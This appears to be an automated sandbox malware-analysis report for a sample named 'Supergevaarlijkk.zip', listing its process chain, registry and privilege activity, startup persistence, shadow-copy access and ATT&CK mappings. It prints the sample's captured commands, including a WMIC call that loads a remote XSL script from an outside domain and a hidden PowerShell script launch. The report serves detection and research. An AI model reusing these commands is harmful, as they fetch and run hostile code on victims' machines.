6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Analysis

max time kernel
119s
max time network
122s
resource
win7v191014

Sharing

Copy URL

Twitter E-mail

General

Target

Supergevaarlijkk.zip
Sample

191029-7v9yqqxm3n
SHA256

6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Score

N/A

Malware Config

Signatures

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 1956	1100	msiexec.exe	28
PID 1956 wrote to memory of 1232	1956	MsiExec.exe	31
PID 1100 wrote to memory of 2008	1100	msiexec.exe	33
PID 1232 wrote to memory of 2068	1232	WMIC.exe	34
PID 2008 wrote to memory of 2196	2008	MsiExec.exe	36
PID 2068 wrote to memory of 2460	2068	powershell.exe	38
PID 2460 wrote to memory of 2480	2460	nvsmartmaxapp.exe	39
PID 2812 wrote to memory of 2844	2812	taskeng.exe	43
PID 2844 wrote to memory of 2868	2844	gup.exe	44

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2012	conhost.exe
2096	conhost.exe

Loads dropped DLL 5 IoCs

pid	Process
2008	MsiExec.exe
2460	nvsmartmaxapp.exe
2480	wmplayer.exe
2844	gup.exe
2868	iexplore.exe

Executes dropped EXE 3 IoCs

pid	Process
2196	lc8B1F.tmp
2460	nvsmartmaxapp.exe
2844	gup.exe

Uses Task Scheduler COM API 1 TTPs 18 IoCs

persistence

Query Registry

T1012

description	ioc	pid	Process
Key opened	\Registry\Machine\Software\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	2068	powershell.exe
Key opened	\Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	2068	powershell.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	2068	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs	2068	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\Progid	2068	powershell.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ProgID	2068	powershell.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ProgID\	2068	powershell.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\	2068	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	2068	powershell.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	2068	powershell.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\InprocServer32	2068	powershell.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\	2068	powershell.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\ThreadingModel	2068	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler32	2068	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler	2068	powershell.exe
Key opened	\Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	2068	powershell.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\Class	2068	powershell.exe
Key opened	\Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LocalServer32	2068	powershell.exe

Drops startup file 1 IoCs

description	ioc	pid	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nvsmartmaxapp.lnk	2068	powershell.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1272	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1272	msiexec.exe
Token: SeRestorePrivilege	1100	msiexec.exe
Token: SeTakeOwnershipPrivilege	1100	msiexec.exe
Token: SeSecurityPrivilege	1100	msiexec.exe
Token: SeCreateTokenPrivilege	1272	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1272	msiexec.exe
Token: SeLockMemoryPrivilege	1272	msiexec.exe
Token: SeMachineAccountPrivilege	1272	msiexec.exe
Token: SeTcbPrivilege	1272	msiexec.exe
Token: SeSecurityPrivilege	1272	msiexec.exe
Token: SeTakeOwnershipPrivilege	1272	msiexec.exe
Token: SeLoadDriverPrivilege	1272	msiexec.exe
Token: SeSystemProfilePrivilege	1272	msiexec.exe
Token: SeSystemtimePrivilege	1272	msiexec.exe
Token: SeProfSingleProcessPrivilege	1272	msiexec.exe
Token: SeIncBasePriorityPrivilege	1272	msiexec.exe
Token: SeCreatePagefilePrivilege	1272	msiexec.exe
Token: SeCreatePermanentPrivilege	1272	msiexec.exe
Token: SeBackupPrivilege	1272	msiexec.exe
Token: SeRestorePrivilege	1272	msiexec.exe
Token: SeDebugPrivilege	1272	msiexec.exe
Token: SeAuditPrivilege	1272	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1272	msiexec.exe
Token: SeChangeNotifyPrivilege	1272	msiexec.exe
Token: SeRemoteShutdownPrivilege	1272	msiexec.exe
Token: SeUndockPrivilege	1272	msiexec.exe
Token: SeSyncAgentPrivilege	1272	msiexec.exe
Token: SeEnableDelegationPrivilege	1272	msiexec.exe
Token: SeManageVolumePrivilege	1272	msiexec.exe
Token: SeImpersonatePrivilege	1272	msiexec.exe
Token: SeCreateGlobalPrivilege	1272	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1232	WMIC.exe
Token: SeSecurityPrivilege	1232	WMIC.exe
Token: SeTakeOwnershipPrivilege	1232	WMIC.exe
Token: SeLoadDriverPrivilege	1232	WMIC.exe
Token: SeSystemProfilePrivilege	1232	WMIC.exe
Token: SeSystemtimePrivilege	1232	WMIC.exe
Token: SeProfSingleProcessPrivilege	1232	WMIC.exe
Token: SeIncBasePriorityPrivilege	1232	WMIC.exe
Token: SeCreatePagefilePrivilege	1232	WMIC.exe
Token: SeBackupPrivilege	1232	WMIC.exe
Token: SeRestorePrivilege	1232	WMIC.exe
Token: SeShutdownPrivilege	1232	WMIC.exe
Token: SeDebugPrivilege	1232	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1232	WMIC.exe
Token: SeRemoteShutdownPrivilege	1232	WMIC.exe
Token: SeUndockPrivilege	1232	WMIC.exe
Token: SeManageVolumePrivilege	1232	WMIC.exe
Token: 33	1232	WMIC.exe
Token: 34	1232	WMIC.exe
Token: 35	1232	WMIC.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	2480	wmplayer.exe

Discovering connected drives 3 TTPs 1 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	pid	Process
File opened (read-only)	\??\C:	1272	msiexec.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1100	msiexec.exe
2068	powershell.exe
2480	wmplayer.exe

Uses Volume Shadow Copy WMI provider 1 IoCs

ransomware

description	ioc	pid	Process
Key opened	\Registry\Machine\Software\Classes\CLSID\{890CB943-D715-401B-98B1-CF82DCF36D7C}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	2068	powershell.exe

Uses Volume Shadow Copy Service COM API 1 IoCs

ransomware

description	ioc	pid	Process
Key opened	\Registry\Machine\Software\Classes\CLSID\{E579AB5F-1CC4-44b4-BED9-DE0991FF0623}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	2068	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1272	msiexec.exe

Drops file in system dir 23 IoCs

description	ioc	pid	Process
File created	C:\Windows\Installer\5917.msi	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\5917.msi	1100	msiexec.exe
File created (read-only)	C:\Windows\Installer\MSI7676.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7676.tmp	1100	msiexec.exe
File deleted	C:\Windows\Installer\MSI7676.tmp	1100	msiexec.exe
File created (read-only)	C:\Windows\Installer\MSI8611.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8611.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	2068	powershell.exe
File deleted	C:\Windows\Installer\MSI8611.tmp	1100	msiexec.exe
File created (read-only)	C:\Windows\Installer\MSI8AE2.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8AE2.tmp	1100	msiexec.exe
File deleted	C:\Windows\Installer\MSI8AE2.tmp	1100	msiexec.exe
File created (read-only)	C:\Windows\Installer\MSI9668.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9668.tmp	1100	msiexec.exe
File deleted	C:\Windows\Installer\MSI9668.tmp	1100	msiexec.exe
File created	C:\Windows\Installer\5919.ipi	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\	1100	msiexec.exe
File deleted	C:\Windows\Installer\5919.ipi	1100	msiexec.exe
File created (read-only)	C:\Windows\Installer\MSIA1FD.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA1FD.tmp	1100	msiexec.exe
File deleted	C:\Windows\Installer\MSIA1FD.tmp	1100	msiexec.exe
File opened for modification	C:\Windows\Installer\5919.ipi	1100	msiexec.exe
File deleted	C:\Windows\Installer\5917.msi	1100	msiexec.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\91B5DB3C0CCBD68BD04C24571E27F99D.msi
1⤵
- Suspicious use of AdjustPrivilegeToken
- Discovering connected drives
- Suspicious use of FindShellTrayWindow
PID:1272

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in system dir
PID:1100

C:\Windows\system32\MsiExec.exe
C:\Windows\system32\MsiExec.exe -Embedding 243205DFA88924D453B6AAC7C0F827FC
1⤵
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\System32\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1232

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1499776792-45809992719698239551625986655-21409207021220800572-4155067481224807039"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2012

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding A08CF5A0596379471CA5A4C2548E8A85
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:2008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden
1⤵
- Suspicious use of WriteProcessMemory
- Uses Task Scheduler COM API
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Uses Volume Shadow Copy WMI provider
- Uses Volume Shadow Copy Service COM API
- Drops file in system dir
PID:2068

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1126513327689161689607036660-26899110113909474221517395570954724345-1387271848"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2096

C:\Users\Admin\AppData\Local\Temp\lc8B1F.tmp
"C:\Users\Admin\AppData\Local\Temp\lc8B1F.tmp"
1⤵
- Executes dropped EXE
PID:2196

C:\Users\Admin\AppData\Roaming\wEdauVc\nvsmartmaxapp.exe
"C:\Users\Admin\AppData\Roaming\wEdauVc\nvsmartmaxapp.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
PID:2460

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2480

C:\Windows\system32\taskeng.exe
taskeng.exe {79C46DA5-25DB-4866-8858-337DEC9C8038} S-1-5-21-1774239815-1814403401-2200974991-1000:JUEOVPOM\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2812

C:\Users\Admin\AppData\Roaming\wEdauVc\gup.exe
C:\Users\Admin\AppData\Roaming\wEdauVc\gup.exe
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
PID:2844

C:\Program Files (x86)\Internet Explorer\iexplore.exe
"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
1⤵
- Loads dropped DLL
PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1100-13-0x0000000000B10000-0x0000000000B14000-memory.dmp

Filesize
16KB

Download
memory/1100-14-0x0000000002040000-0x0000000002044000-memory.dmp

Filesize
16KB

Download
memory/1100-16-0x0000000000B10000-0x0000000000B14000-memory.dmp

Filesize
16KB

Download
memory/1100-12-0x0000000000B10000-0x0000000000B14000-memory.dmp

Filesize
16KB

Download
memory/1100-17-0x0000000002040000-0x0000000002044000-memory.dmp

Filesize
16KB

Download
memory/1100-11-0x0000000000F50000-0x0000000000F54000-memory.dmp

Filesize
16KB

Download
memory/1272-19-0x0000000002310000-0x0000000002314000-memory.dmp

Filesize
16KB

Download
memory/1272-0-0x0000000004180000-0x0000000004184000-memory.dmp

Filesize
16KB

Download
memory/1272-18-0x0000000004180000-0x0000000004184000-memory.dmp

Filesize
16KB

Download
memory/2068-21-0x000000001C3C0000-0x000000001C3C4000-memory.dmp

Filesize
16KB

Download
memory/2068-22-0x000000001C3C0000-0x000000001C3C4000-memory.dmp

Filesize
16KB

Download
memory/2480-30-0x0000000003680000-0x0000000003691000-memory.dmp

Filesize
68KB

Download
memory/2480-29-0x0000000003270000-0x0000000003281000-memory.dmp

Filesize
68KB

Download
memory/2480-26-0x0000000000080000-0x0000000000081000-memory.dmp

Filesize
4KB

Download